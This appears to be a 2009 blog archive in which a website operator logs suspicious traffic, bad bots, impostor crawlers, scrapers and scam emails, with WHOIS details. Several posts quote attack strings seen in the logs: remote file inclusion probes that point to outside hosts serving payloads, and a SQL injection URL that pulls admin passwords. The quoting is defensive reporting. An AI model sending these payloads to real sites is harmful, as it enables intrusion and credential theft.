2010-01-17T14:56:00.001-08:00

This IP address: 66.232.142.64Hostway Corporation HOSTWAY-2BLK (NET-66-232-128-0-1) 66.232.128.0 - 66.232.159.255Hostway-KR HW-66-232-136-22 (NET-66-232-136-0-1) 66.232.136.0 - 66.232.143.255Is attempting to pass this request parameter to our server:<_SERVER[DOCUMENT_ROOT]>http://www.kumdo.org/image/banner4.gif???

Bad Headers - Malware, Plugin or?

2009-11-23T22:21:00.000-08:00

We're seeing a bunch of requests that look like they were altered and not the original request from the client machine. It could be virus software, malware, proxy servers, caching servers on networks - who knows. Hopefully it is not an evil plugin or someone spying on network traffic.Here are some of the IP addresses that had this weird header issue recently: 11/23/2009 8:57:02 PM 76.104.180.131

Norton Online Backup

2009-11-02T01:04:00.000-08:00

OK I tried Quickbooks/Intuit online backup and that went pretty fast. However somehow a letter in my email got transposed and I had a heck of a time trying to get my data off their system - and someone had previously registered that transposed domain name so not sure if someone actually ripped off the stuff I backed up over there.I thought I would try an alternate service - Norton Online Backup.

Errors Trying to Use Windows Update

2009-10-26T12:34:00.000-07:00

I was having a strange problem with Word not fully opening even when I maximize the screen. That led me to use Windows Update and got a few errors. Screen shots below.

Bad Traffic - Monitoring (ripping off?) our sites

2009-10-19T03:28:00.000-07:00

Traffic from these two networks have been monitoring one of our sites and I believe scraping content to rip off or reverse engineer search engine rankings. Check your logs. Block them. (If you think it looks fishy like I do).Rackspace.com, Ltd. RSCP-NET-4 (NET-174-143-0-0-1) 174.143.0.0 - 174.143.255.255Slicehost RSPC-1251808572434376 (NET-174-143-180-0-1)

Bad Traffic from Korea

2009-10-12T17:50:00.000-07:00

Not sure what this nonsense is and how it is even getting directed to our server. The web addresses below are not even on our server but somehow this showed up in our logs and generating errors:222.231.57.31 - - [04/10/2009:10:33:45 -0800] "GET /web///?_SERVER%5BDOCUMENT_ROOT%5D=http://www.seorakhoney.com/shop/mail/id1.txt??? HTTP/1.1" 404 521 "-" "Mozilla/5.0" -222.231.57.31 - - [04/10/2009:

Problems with AT&T Modem Disconnecting

2009-10-10T15:02:00.000-07:00

I was having random problems with my AT&T air card disconnecting randomly. Also could not connect at AT&T Hotspots like Starbucks even though supposedly this is included in the service. I went to the store multiple times to resolve this issue and they called various tech support lines. The tech support people told me to click options and do random things in the AT&T Connection manager that didn't

Strange Traffic in Logs - a bunch from Canada

2009-10-10T02:40:00.000-07:00

There is something bizarre going on in our logs. It is interesting that the first of such links comes from aQuantive - now Microsoft advertising.We have a site that is running some Google advertising supposedly (did not set this up myself). There is a bunch of traffic - all from different networks in Canada - where these visitors hit that ad landing page, then jump over to another web site on our

Mining Tax Shelter

2009-09-20T11:38:00.000-07:00

This was sent to one of our customers - probably illegal or some kind of scam.Hello,My name is George Deden and I am President of Glacier Valley Mining and Metals. We have an opportunity for your company while assisting us in our company goals. We are seeking a company that is proactive and responsive to their client?s needs and one that has a data base of potential investors in our IRS

Strange referrer - stream://1/ - speakeasy network

2009-09-19T20:33:00.000-07:00

We're getting some strange traffic from this u: stream://1/The traffic is coming from the Speakeasy network: 216.231.44.147Speakeasy, Inc. SPEAKEASY-1 (NET-216-231-32-0-1) 216.231.32.0 - 216.231.63.255Speakeasy Network -- DSL SPEK-DSL-BR1-1 (NET-216-231-42-0-1) 216.231.42.0 - 216.231.50.255

Bad Traffic - Hurricane Electric (again)

2009-09-19T20:31:00.001-07:00

Seems like we often get mysterious traffic from Hurrican Electric. In this case, traffic from the network below is attempting to access non-existent shopping carts on our system:Hurricane Electric, Inc. HURRICANE-4 (NET-65-19-128-0-1) 65.19.128.0 - 65.19.191.255EGIHosting HURRICANE-CE1290-5430 (NET-65-19-129-16-1) 65.19.129.16 -

Weird Job Proposals from Mary Kay

2009-09-03T03:24:00.001-07:00

Getting proposals to work for a job and wondering if this is legit. The email is supposedly from MaryKay but I always get responses in the middle of the night at like 3 a.m.They don't respond to the emails correctly and when I said I'm still not interested they keep trying to get reference contact information and personal details.Maybe it's legit, I'm not sure. Just kind of weird.Delivered-To:

Norton Online Backup - Not Good

2009-09-02T11:39:00.000-07:00

I switched from Intuit online backup which was ridden with security problems and support staff in or from India that clearly had no clue what they were talking about, to Norton online backup. I was hoping for better security.I am not sure if the security is good but it doesn't matter because I cannot get Norton Online Backup to even back up all my files. I paid for the extra storage and I run the

GoDaddy Hacking - Same as my last post

2009-09-01T14:41:00.000-07:00

Same as the last post, a server with an old browser apparently has record of all the pages in a particular site and is scanning it, even though the software scanning the site cannot actually see the pages - they are blocked.Clearly this is some kind of software copying our site or at least all the links in it again most likely for nefarious reasons.IP Address: 72.167.94.65OrgName: GoDaddy.com,

Dow Jones-Telerate: Copying our Web Site?

2009-09-01T14:34:00.000-07:00

Getting some suspicious traffic from this network. Even after blocking them they are somehow able to scan every page in our site which tells us that basically they took a copy of the site and all the URLs in it. They cannot currently link from page to page because they are blocked, so obviously storing a copy of the whole site in a database somewhere. We have contacted this network but the

Old Browsers in Logs - Hackers

2009-08-25T19:00:00.000-07:00

I would like to reject all old browsers that come to our site from Google advertising or otherwise. Looking at the networks that these old browser visitors come from, it is pretty clear that 99% of them are bots, software or competitors.I wish Google would do something about this like disallowing ads for old, insecure browsers like IE6.

Microsoft Office 2007 is crap.

2009-08-14T10:04:00.001-07:00

I just went to print a document on a friend's computer. I use a previous version of Office. My friend had 2007 but she never used it yet (not computer savvy). After using Word for over 15 years you think I would be able to figure out where they moved the print button. The UI is so ridiculous it took up five minutes searching around to find the stupid print icon.FILE. PRINT.Every other piece of

Slicehost - Bad Traffic

2009-08-10T17:28:00.000-07:00

We seem to be getting a lot of bad traffic from the slicehost IP range.OrgName: Slicehost LLC OrgID: SLICEAddress: 4579 Laclede Avenue #258City: St. LouisStateProv: MOPostalCode: 63108Country: USNetRange: 67.207.128.0 - 67.207.159.255

ThePlanet.com - bad traffic

2009-08-10T17:27:00.001-07:00

Getting a lot of bad traffic from this network:OrgName: ThePlanet.com Internet Services, Inc. OrgID: TPCMAddress: 315 CapitolAddress: Suite 205City: HoustonStateProv: TXPostalCode: 77002Country: USReferralServer: rwhois://rwhois.theplanet.com:4321NetRange: 174.132.0.0 - 174.133.255.255

Amazon cloud traffic

2009-08-10T00:14:00.000-07:00

After a bunch of odd traffic from the Amazon "elastic cloud" networks searching for pages that don't exist on our sites, one site's search engine rankings has dropped.Coincidence, I don't know.I do know that the Amazon traffic was bad and we've seen bad traffic from Amazon before.

Google Imposter

2009-08-09T23:04:00.000-07:00

A Google Imposter hit our sites today from this IP:64.69.46.216On this network:OrgName: CoreExpress OrgID: COEXAddress: 600 W. 7th StreetAddress: Suite 360City: Los AngelesStateProv: CAPostalCode: 90017Country: USNetRange: 64.69.32.0 - 64.69.47.255

ValueWeb and DomainPeople

2009-08-07T12:58:00.000-07:00

If you register and host your site at Value Web (becoming Hostway) you will have a very difficult time getting your domain off their systems later, should you need to do that.Be prepared to call 5 or 6 times, wait on hold eternally, and get a lot of inaccurate information.You have been warned.

AOL Proxy Cache

2009-08-05T18:31:00.000-07:00

I noticed this IP and related IPs were hitting our sites a ton:207.200.116.13A reverse look up of the domain shows this IP is:cache-ntc-aa09.proxy.aol.comI'm personally not a fan of other networks caching and hosting our content. That's bad for us because we cannot accurately track who hit our site when and how they found us. This may be some email related cache but we'd also like to see those

More PHP Hacker Traffic

2009-07-16T18:05:00.000-07:00

We're seeing some hacker traffic from this network attempting to access this url:/profile.php?name='+UNION+SELECT+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+webl_admin%23 CustName: Alwatan NewspaperAddress: UnknownCity: MuscatStateProv: OmanPostalCode: Country: OMRegDate: 2008-07-10Updated: 2008-07-10NetRange: 216.7.173.16 - 216.7.173.31 CIDR:

CFNetwork

2009-07-16T10:56:00.001-07:00

Getting hit with CFNetwork user agent from this IP: 24.41.43.231OrgName: EARTHLINK, INC. OrgID: EARTH-22Address: 1375 PEACHTREE STREETAddress: LEVEL ACity: ATLANTAStateProv: GAPostalCode: 30309Country: USNetRange: 24.41.0.0 - 24.41.95.255 Seems to be a lot of odd traffic coming out of Atlanta networks lately.

Followsite on softlayer - misbehaving

2009-07-15T23:49:00.000-07:00

Followsite bot hit our server over 70 times and appears to not be following robots.txtCame from this IP:74.86.223.42SoftLayer Technologies Inc. SOFTLAYER-4-4 (NET-74-86-0-0-1) 74.86.0.0 - 74.86.255.255ASX Networks ApS NET-74-86-223-40 (NET-74-86-223-40-1) 74.86.223.40 - 74.86.223.47

Wowrack - unidentified traffic

2009-07-15T23:48:00.000-07:00

Web servers in this network appear to be trying to hit our server:dotnetdotcom.org 208-115-111-240-SLASH28 (NET-208-115-111-240-1) 208.115.111.240 - 208.115.111.255Wowrack.com WOW-ARIN-NET2 (NET-208-115-96-0-1) 208.115.96.0 - 208.115.127.255

Internode - Excessive traffic

2009-07-15T23:34:00.001-07:00

We're getting excessive traffic from this IP range:inetnum: 203.122.192.0 - 203.122.255.255netname: INTERNODE1-NETdescr: Internodedescr: Internet Service Providerdescr: Adelaide, South Australia,descr: Australiacountry: AU

hacker - phpadmin

2009-07-15T23:23:00.000-07:00

A hacker attempting to access phpadmin hit our server using perl from multiple networks.URL contained: /profile.php?name='+UNION+SELECT+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+webl_admin%23User agent: libwww-perl/5.811IP #1: 207.210.89.18Network:OrgName: Global Net Access, LLC OrgID: GNAL-2Address: 1100 White St SWCity: AtlantaStateProv: GAPostalCode

123people dot com is stealing content

2009-07-12T03:04:00.000-07:00

The 123people dot com site is stealing and reposting personal information from social networks like Myspace, Facebook.com, LinkedIn.com, Amazon (people's wish lists) and zoominfo.In addition to scraping sites and posting photos, links and personal data that is not publicly available on these social networking sites, 123people is posting completely bogus data about people including false addresses

.Net Framework hitting sites

2009-07-11T21:33:00.000-07:00

129.7.111.207 is hitting our site with .NET Framework/2.0OrgName: University of Houston OrgID: UNIVER-239Address: Information TechnologyAddress: Computing & Telecommunication ServicesAddress: 4213 Elgin BlvdCity: HoustonStateProv: TXPostalCode: 77204-1010Country: USNetRange: 129.7.0.0 - 129.7.255.255

lwp-trivial

2009-07-11T21:29:00.000-07:00

Hit with a bot called lwp-trivial/1.41 from this IP: 128.114.48.94 - a university in California:OrgName: University of California, Santa Cruz OrgID: UCSCAddress: University of California, Santa CruzAddress: UCSC Information Technology ServicesAddress: Communications BuildingAddress: 1156 High StreetCity: Santa CruzStateProv: CAPostalCode: 95064Country: USNetRange:

Dragonfly User Agent

2009-07-11T21:26:00.000-07:00

Some kind of dragonfly user agent hit our site which appears to be possibly related to some type of open source content management system doing some dirty business.The hit appears to be coming from:Enmax Envision Inc. ENMAXENV-BLOCK2 (NET-72-29-224-0-1) 72.29.224.0 - 72.29.255.255PlayStarMusic Corporation ENV-PM-72-29-233-160 (NET-72-29-233-160-1)

Clearwire Billing Issues

2009-07-11T19:11:00.000-07:00

Something is really wrong in the Clearwire billing department. There's a whole web site dedicated to complaining about Clearwire which cannot be good for business:ClearwireSucks.comAt first I was taken aback by this page as I had tried out this network and had an OK experience. It's not as fast as Comcast but obviously you can travel around. It's not as reliable as an AT&T or Verizon card -

Amazon cloud once again...

2009-07-10T02:40:00.001-07:00

Once again someone on the Amazon cloud network is trying to access our sites in programmatic ways:OrgName: Amazon.com, Inc. OrgID: AMAZO-4Address: Amazon Web Services, Elastic Compute Cloud, EC2Address: 1200 12th Avenue SouthCity: SeattleStateProv: WAPostalCode: 98144Country: USNetRange: 75.101.128.0 - 75.101.255.255

2009-07-10T02:38:00.000-07:00

Someone or something at A2 hosting attempted to access our sites using some sort of PHP client:Internet 123, Inc. INTERNET-BLK-I123-3 (NET-69-39-64-0-1) 69.39.64.0 - 69.39.95.255A2 Hosting, Inc. I123-069039089000-032004 (NET-69-39-89-0-1) 69.39.89.0 - 69.39.89.255Hopefully Internet 123, Inc. and/or A2 Hosting, Inc. will take a

MCI / Proxy IT - bad traffic

2009-07-10T02:35:00.001-07:00

Someone in this proxy IP range attempted to hit our sites with Python.65.200.199.106 at 7/5/2009 10:46:19 PMMCI Communications Services, Inc. d/b/a Verizon Business UUNET65 (NET-65-192-0-0-1) 65.192.0.0 - 65.223.255.255Proxy IT UU-65-200-199-D6 (NET-65-200-199-0-1) 65.200.199.0 - 65.200.199.255MCI shoudl really do something about

Bot out of University of Toronto

2009-07-10T02:33:00.000-07:00

BlogScope bot hit our sites from University of Toronto128.100.20.21OrgName: University of Toronto OrgID: UNIVER-36Address: Computing and Networking ServicesAddress: 4 BANCROFT AVENUE - ROOM 101CCity: TORONTOStateProv: ONPostalCode: M5S-1C1Country: CANetRange: 128.100.0.0 - 128.100.255.255

University Santa Cruz - WGet hackers

2009-07-10T02:32:00.001-07:00

Someone at the University of Santa Cruz is attempting to access our sites using WGET from this IP 128.114.48.95 at 7/7/2009 7:53:48 PMOrgName: University of California, Santa Cruz OrgID: UCSCAddress: University of California, Santa CruzAddress: UCSC Information Technology ServicesAddress: Communications BuildingAddress: 1156 High StreetCity: Santa CruzStateProv:

Colin-Miller - hitting our sites with Java

2009-07-10T02:28:00.000-07:00

Someone at Colin Miller in San Francisco, California is attempting to access our sites with some type of Java client.Comcast Business Communications, Inc. CBC-SFBA-13 (NET-173-11-64-0-1) 173.11.64.0 - 173.11.127.255Comcast Business Communications, Inc. CBC-CM-4 (NET-173-8-0-0-1) 173.8.0.0 - 173.15.255.255Colin Miller-San

Programmatic traffic from eNet / XLHost

2009-07-10T02:17:00.001-07:00

Getting clearly programmatic traffic rom this network:eNET Inc. ENET-XLHOST-2 (NET-173-45-64-0-1) 173.45.64.0 - 173.45.127.255XLHost.com Inc XLHOST-OOFFER3-4941 (NET-173-45-84-80-1) 173.45.84.80 - 173.45.84.95

Managed Solutions Group - Malware

2009-07-10T02:13:00.000-07:00

Someone attempted to get at our web server using a Java software client of some kind from this IP: 205.209.142.43This Ip belongs to "Managed Solutions Group" in California:OrgName: Managed Solutions Group, Inc. OrgID: MSG-48Address: 45535 Northport Loop EastCity: FremontStateProv: CAPostalCode: 94538Country: USReferralServer: rwhois://rwhois.managedsg-inc.com:4321NetRange:

Twiceler - still doesn't obey robots.txt

2009-07-10T02:10:00.000-07:00

Getting tons of hits from twiceler bot - still not obeying Robots.txt file. The hits are quite excessive. If they don't stop may just block at the firewall level. Some of the IPs:38.99.44.105216.129.119.42216.129.119.12216.129.119.44216.129.119.40216.129.119.4938.99.44.102

Problem with MS Terminal Services / VPN

2009-07-07T12:48:00.000-07:00

There is a problem with Terminal Services from Microsoft and/or Cisco's VPN product. When using the Cisco client and VPN with Terminal Services and my connection gets disrupted in some way when I am connected to my server, first of all I cannot reconnect to the VPN. Somehow the VPN/firewall thinks I am still connected perhaps or maybe the services on my machine get corrupted in some way and

Service Provider Corporation

2009-07-03T14:13:00.000-07:00

If you've seen Service Provider Corporation IP addresses in your logs and then tried to find information about the company you'll end up here:http://www.wdspco.org/OrgName: Service Provider Corporation OrgID: SPC-10Address: 442 Route 202-206 NorthAddress: # 485City: BedminsterStateProv: NJPostalCode: 07921-0523Country: USNetRange: 166.128.0.0 - 166.255.255.255 CIDR:

123People - illegal scraping and reposting of content

2009-07-02T11:14:00.000-07:00

123People.com is illegally scraping and reposting content from other web sites.Information posted on social networks is posted by people who allow that particular social network to display information, some of it public, some of it not. This particular site has posted public information on their web site which I did not make available to the public. They have also posted photos which they are not

Embarq Corporation - Malformed web requests

2009-06-29T12:09:00.001-07:00

We are getting malformed web requests from this IP address on the Embarq Corporation network: 67.237.204.65In fact we have seen a lot of bad traffic from Embarq network address ranges in the past.OrgName: Embarq Corporation OrgID: EMBARAddress: 500 N New York AveCity: Winter ParkStateProv: FLPostalCode: 32789Country: USNetRange: 67.232.0.0 - 67.239.255.255

XLHost - Trying to access our sites progammatically

2009-06-26T16:16:00.000-07:00

XLHost IP ranges continue to try to access our sites programmatically:eNET Inc. ENET-XLHOST-2 (NET-173-45-64-0-1) 173.45.64.0 - 173.45.127.255XLHost.com Inc XLHOST-DTODD1-5959 (NET-173-45-70-176-1) 173.45.70.176 - 173.45.70.183

Bad requests - Verizon

2009-06-26T16:13:00.001-07:00

Got over 1200 bad requests from this IP on the Verizon network today: 71.176.87.58OrgName: Verizon Internet Services Inc. OrgID: VRISAddress: 1880 Campus Commons DrCity: RestonStateProv: VAPostalCode: 20191Country: USNetRange: 71.173.96.0 - 71.180.255.255 CIDR: 71.173.96.0/19, 71.173.128.0/17, 71.174.0.0/15, 71.176.0.0/14, 71.180.0.0/16 NetName: VIS-BLOCKNetHandle:

Strange requests / odd headers

2009-06-26T15:55:00.001-07:00

We're getting strange requests on our server for files we don't host like this:ip: 69.72.169.233query string: path[docroot]=http://barrasford.net/barras/1.swf??Fri Jun 26 15:39:20 PDT 2009User Agent: Mozilla/5.0Headers:TE: deflate,gzip;q=0.3Connection: TE, close

author.dll

2009-06-25T02:40:00.000-07:00

A bot called core-project is coming from different URLs and attempting to access something called author.dll on our server: 6/19/2009 11:03:08 PM 125.244.77.2 /_vti_bin/_vti_aut/author.dll core-project/1.0 POST 6/18/2009 3:14:16 PM 62.212.123.125 /_vti_bin/_vti_aut/author.dll core-project/1.0

Alaska Communications Group

2009-06-24T13:39:00.000-07:00

Based on recent activity on my server, I have a hunch there are hackers coming out of this network but couldn't prove it at the moment. Will have to keep an eye on this...OrgName: Alaska Communications Systems Group, Inc. OrgID: ACSG-1Address: c/o ACS Internet, Inc.Address: 600 Telephone Ave.City: AnchorageStateProv: AKPostalCode: 99503Country: USReferralServer: rwhois://

Turnitin Bot - Odd behavior

2009-06-23T16:19:00.000-07:00

Turnitin bot is requesting pages and types of technology that hasn't existed on one of your sites for years - probably over five years.First question is - where are they even getting these links? Second question is - why are they not obeying robots.txt for this site?Turnitin bot is on this network: O1.com NETBLK-O1-BLK4 (NET-65-98-128-0-1) 65.98.128.0 -

SuperPages Bot - Bogus Requests?

2009-06-23T15:21:00.000-07:00

The SuperPages bot is submitting web requests that don't appear to be true. I'm not even sure if this bot is really from super pages. It lists a particular web page as the referrer, but after visiting that web page, there are clearly no links to our sites on that page. Obviously the bot is making up bogus information that could skew marketing results. I hope people are also not paying for bogus

Suspicious Login Activity

2009-06-23T15:06:00.001-07:00

I just logged into my web server. First connect to VPN, then type in admin password. I typed in the administrate password numerous times. I know it was exactly the right password. I must have typed it 10 or 20 times. I even typed it out in notepad so I could see what I was typing to verify I was typing the right thing.About the 20th attempt - suddenly the password worked. This is the same

AT&T Wireless - Reports people in Florida when Not

2009-06-19T22:14:00.000-07:00

AT&T Wireless reports people as logging in from Florida using their laptop connect cards when they are at the opposite side of the country. You'd think with all the work on with GPS and the government mandate regarding pinpointing people's locations when they are on cell phones for 911 calls that they would also accurately pinpoint locations when using laptop connect cards.This is the network you

Mail.Ru/1.0 not obeying Robots.txt

2009-06-18T14:38:00.000-07:00

This bot Mail.Ru/1.0 read robots.txt, ignored it and tried to access a page anyway from this IP address 94.100.181.242

GoogleImageBot - Annoying

2009-06-17T10:14:00.000-07:00

We have a site where we disallow the google image bot. We started putting the photos on a subdomain of that web site. Google-bot apparently scanned and put all the images on that subdomain on the net even though our robots.txt file for that site tells Google to bug off and there's no link to those images except from our site.RUDE.This is probably going to cost monetary loss for our business since

Comodo - unwanted traffic

2009-06-16T21:01:00.001-07:00

There is some obvious web request manipulation going on from this network which hosts the "comodo SSL checker" bot:inetnum: 91.209.196.0 - 91.209.196.255netname: COMODOdescr: Comodo CA Ltdcountry: GB

FollowSite Bot

2009-06-16T20:44:00.001-07:00

FollowSite Bot ( http://www.followsite.com/bot.html ) is not obeying robots.txt on our server.

AOL Hacker

2009-06-16T20:38:00.000-07:00

We clearly get bombed with abusive traffic repeatedly by someone on AOL. We've reported this malicious traffic to AOL a number of times and still it continues. We've finally just had to completely block the IPs in this range:205.188.116.0-205.188.117.255Hopefully one of these days AOL will do something about malicious traffic on their network when it is reported. They had a habit of blocking

Websense

2009-06-16T17:17:00.000-07:00

After asking Websense to please stop hitting our web sites with clearly altered or bogus traffic - they proceeded to hit all our web sites repeatedly with such traffic. This is not very nice behavior. They could have emailed me back to explain what they are doing and why instead of trying to continue to bomb our web sites.Websense does security research which I appreciate, however I do not

Bad request - Pocketinet

2009-06-16T13:50:00.000-07:00

Our web servers just went down for some reason. Right before the problem we got a bad web request from this ip address and network ...and additionally they attempted to access the site using Wget.64.185.119.190Pocketinet Communications, Inc POCKETINET-1 (NET-64-185-96-0-1) 64.185.96.0 - 64.185.127.255PocketInet POCKETINET-BG-2 (NET-64-185-119-128-1)

Strange traffic - related?

2009-06-15T15:04:00.000-07:00

Getting some weird web requests right now and wondering if traffic from these IPs are somehow related:209.112.190.24OrgName: Alaska Communications Systems Group, Inc. OrgID: ACSG-1Address: c/o ACS Internet, Inc.Address: 600 Telephone Ave.City: AnchorageStateProv: AKPostalCode: 99503Country: US72.192.71.233Cox Communications Inc. NETBLK-COX-ATLANTA-11 (NET-72-192-0-0-1)

SuperPages bot traffic

2009-06-15T13:06:00.000-07:00

Why is the SuperPages bot a.) not obeying robots.txtb.) getting referred from this web site: http://www.clearwatergazette.comc.) hitting a site that we are not running super pages ads on...The traffic is coming from:OrgName: Idearc Media Corp OrgID: IMC-97Address: 2200 W Airfield DriveCity: DFW AirportStateProv: TXPostalCode: 75261Country: USNetRange: 151.138.0.0 -

MSR-ISRCCrawler not obeying robots.txt

2009-06-11T20:27:00.001-07:00

Strangely, MSR-ISRCCrawler checked robots.txt. It clearly says in our robots.txt file that this bot is disallowed. Then it proceeded to crawl our site anyway. Hmm...

Cogentco - bad traffic again.

2009-06-11T20:21:00.000-07:00

38.100.41.112Cogentco is at it again. Actually now when you look up this IP address it doesn't say Cogentco anymore it says PSINet but same thing. They are hitting our sites with clearly garbage traffic. We've blocked them out and show a blatant error message to stay away and yet they persist.It's pretty clear that the traffic in question is both automated and not valid as this particular IP:

Today's Robot.txt file

2009-06-11T09:13:00.000-07:00

If you're trying to prevent most automated traffic except major search engines on a particular web site heres a robots.txt file. Note that not all these are actually bots and some things like Python, Perl and Java agents running around the Internet and used by hackers don't obey or even check robots.txt so you'll have to use other ways to monitor and handle this traffic on your web

FollowSiteBot

2009-06-11T09:10:00.001-07:00

The FollowSiteBot...Not checking robots.txt like a good little bot...FollowSiteBot came from this network today: 74.86.223.42SoftLayer Technologies Inc. SOFTLAYER-4-4 (NET-74-86-0-0-1) 74.86.0.0 - 74.86.255.255ASX Networks ApS NET-74-86-223-40 (NET-74-86-223-40-1) 74.86.223.40 - 74.86.223.47

uberbot - misbehaving

2009-06-11T01:48:00.000-07:00

uberbot is not obeying robots.txt

Today's Bot Traffic - a lot of Twitter Referrals

2009-06-11T01:36:00.000-07:00

We got hit with a lot of bots today. It seems that a great deal of this may be caused by Twitter posts. 14 174.129.124.97 Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com) GET 6 2009 10 13 67.202.8.12 Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com) GET 6 2009 10 12 75.101.139.240 Python-urllib/1.17 GET 6 2009 10 11 174.129.123.212 Mozilla/5.0 (compatible;

Twitturly - bad bot on Amazon network

2009-06-10T17:40:00.000-07:00

Whatever Twitturly is it is not obeying robots.txt. It came from the Amazon network at this IP address: 174.129.88.144Additionally it came in conjunction with a number of other bots that hit this particular site at the same time. I assume it was because the web site owner posted her site somewhere that is being monitored by bots. Unfortunately the bots seem to be misbehaving.

LocalBot not checking Robots.txt

2009-06-10T13:17:00.001-07:00

Something coming from this IP: 121.138.194.106 called LocalBot is not checking robots.txt files. Annoying.

Tons of hits from 204.16.231.98 - Sparkplug, Inc.

2009-06-10T09:24:00.000-07:00

Not sure why but our web sites are getting what seems to be an excessive number of hits from the Sparplug, Inc. network in Chicago.The particular IP address doing the traffic generation is: 204.16.231.98OrgName: Sparkplug, Inc. OrgID: SPARK-3Address: 303 W. ErieAddress: Suite 300City: ChicagoStateProv: ILPostalCode: 60610Country: USNetRange: 204.16.228.0 - 204.16.231.255

VeriSign - unwanted traffic

2009-06-09T22:25:00.000-07:00

Why is Verisign hitting our sites repeatedly with unwanted traffic?This IP address: 69.58.178.33 was hitting our a site repeatedly from 6/8/2009 8:19:33 PM to 6/8/2009 8:19:57 PM.So what? The site is advertising the sale of Christmas wreaths and this is JUNE. It's the middle of the summer and obviously no one at Verisign is interested in buying Christmas wreaths.The IP or computer/server at

Norton - Update Not Working?

2009-06-09T11:03:00.000-07:00

I set up Norton Anti-Virus on a new machine recently and when I did, I noticed that it looked different than the version of Norton running on my other machine. I installed Norton on this other machine probably close to a year ago but I have updated it regularly since then. So is the problem that Norton Antivirus is not actually updating or if you have an old version they just leave parts of it in

Adobe Acrobat Reader - Update Not Working?

2009-06-09T10:59:00.000-07:00

I typically update all my software fairly regularly. I noticed a while ago that I have an old version of Adobe Acrobat Reader even after doing the updates many times. I finally I decided to uninstall Adobe Acrobat Reader 8.something so I could install the latest version. I was reminded that I need to do this when I went to the Secunia web site and saw the latest Adobe Acrobat Reader advisory -

Rundll.exe and task manager

2009-06-08T09:18:00.000-07:00

When I pulled up task manager a process - I think using rundll.exe was running and disappeared shortly after opening the task manager. I have noticed a lot of times when I open the task manager whatever was hung up on my computer suddenly starts working. This leads me to wonder if some malware is designed to automatically shut off if the task manager is opened as users are getting hip to the fact

Malware - DigExt?

2009-06-04T22:56:00.000-07:00

Had a user cross our site today that hit our site with numerous bad URLs obviously looking for some type of hack. Time/Date: 6/4/2009 9:04:23 PMThe user agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)IP Address: 204.16.231.98They came from this network:OrgName: Sparkplug, Inc. OrgID: SPARK-3Address: 303 W. ErieAddress: Suite 300City: ChicagoStateProv:

Hotstocked.com - RateItAll

2009-06-04T13:40:00.000-07:00

Had problems with web sites posting incorrect or harmful information about you and having a problem getting it removed? You can post your comments about these web sites at RateItAll.comFor instance someone I know is having problems getting their name removed from HotStocked.com which has posted a lot of incorrect information about people and refuses to remove it upon request.Add your comments

Moozilla

2009-06-03T21:15:00.000-07:00

We get repeated hits from a user agent called Moozilla. The hits will come from a bunch of different IP addresses on the Netscape/AOL network in succession. Sample hits:6/1/2009 17:46 207.200.116.73 Moozilla6/1/2009 17:46 207.200.116.131 Moozilla6/1/2009 17:46 207.200.116.135 Moozilla6/1/2009 17:46 207.200.116.136 Moozilla6/1/2009 17:46 207.200.116.5 Moozilla6/1/2009 17:46 207.200.116.12

SurveyBot - Compass Communications

2009-06-03T14:39:00.000-07:00

The SurveyBot from Whois.sc hosted at Compass Communications, apparently located at the Westin Building in Seattle is not obeying our robots.txt files.OrgName: Compass Communications, Inc. OrgID: CPCMAddress: 2001 6th AvenueAddress: Suite 3205City: SeattleStateProv: WAPostalCode: 98121Country: USNetRange: 216.145.0.0 - 216.145.31.255Some others have been asking about

Another Google Bot Impostor

2009-06-02T16:26:00.000-07:00

Just got hit by another Google bot impostor:216.240.151.506/2/2009 4:20:59 PM Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html) OrgName: ATMLINK, INC. OrgID: ATMLINAddress: 600 W. 7th StreetAddress: Suite 360City: Los AngelesStateProv: CAPostalCode: 90017Country: USNetRange: 216.240.128.0 - 216.240.159.255

AT&T Wireless Doesn't Report Accurate Location

2009-06-02T16:25:00.001-07:00

Interesting - Using AT&T Wireless card in Seattle reports an IP address that makes it look like I'm in Florida.OrgName: AT&T Global Network Services, LLC OrgID: ATGSAddress: 3200 Lake Emma RoadCity: Lake MaryStateProv: FLPostalCode: 32746Country: USNetRange: 32.0.0.0 - 32.255.255.255

More Google Imposters

2009-05-31T17:52:00.000-07:00

It appears (unless Google has Google bots in the cloud and on various little networks all over the place which I doubt after looking up these particular IP address networks) that there are some Googlebot impersonators out there. It would seem that this is really an impersonator because not only are these requests not coming from Google networks, they seem to only be interested in a few sites, not

Google Impostor - CoreExpress

2009-05-31T17:04:00.001-07:00

There's a Google impostor in our logs - unless Google is on the Core Express network.On 3/4/2009 4:47:01 AM someone at this IP address: 64.69.46.217 was putting GoogleBot in their user agent. OrgName: CoreExpress OrgID: COEXAddress: 600 W. 7th StreetAddress: Suite 360City: Los AngelesStateProv: CAPostalCode: 90017Country: USNetRange: 64.69.32.0 - 64.69.47.255

owssvr.dll - attempted access

2009-05-30T23:39:00.001-07:00

This IP: 71.112.91.22 on the Verizon network was trying to access an IE component on our site that does not exist:/_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6211&STRMVER=4&CAPREQ=0

Robots.txt - More bots than people

2009-05-29T22:27:00.000-07:00

Is your web site getting more hits from bots than people? You might want to try this in your robots.txt file. It blocks out a lot of bots we've seen but not major search engines. Alter as desired:User-Agent: OnTownsBotDisallow: /User-Agent: ServageRobotDisallow: /User-Agent: uw_cse_xwcDisallow: /User-Agent: ZupeeCrawlerDisallow: /User-Agent: uberbotDisallow: /User-Agent: Axonize-botDisallow: /

facebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php)

2009-05-29T22:04:00.000-07:00

Facebook external hits are apparently blocking the end user IP that clicked on the link. This makes it a bit difficult to ensure your web site is secure by blocking bad user agents and track who is visiting your web site. I wish they would stop doing this and send the information of the end user that clicked the link instead if that is what this user agent is all about.

InfoUsa - Spam, Junkmail, Telemarketing

2009-05-29T21:59:00.000-07:00

Getting hit by a bot from this network which is selling leads...Guess where they find them....by scraping them off web sites apparently.OrgName: InfoUSA OrgID: INFOUSAddress: 5711 S. 86th CirCity: OmahaStateProv: NEPostalCode: 68127Country: USNetRange: 199.125.8.0 - 199.125.14.255

ClosedChannelException

2009-05-29T21:56:00.001-07:00

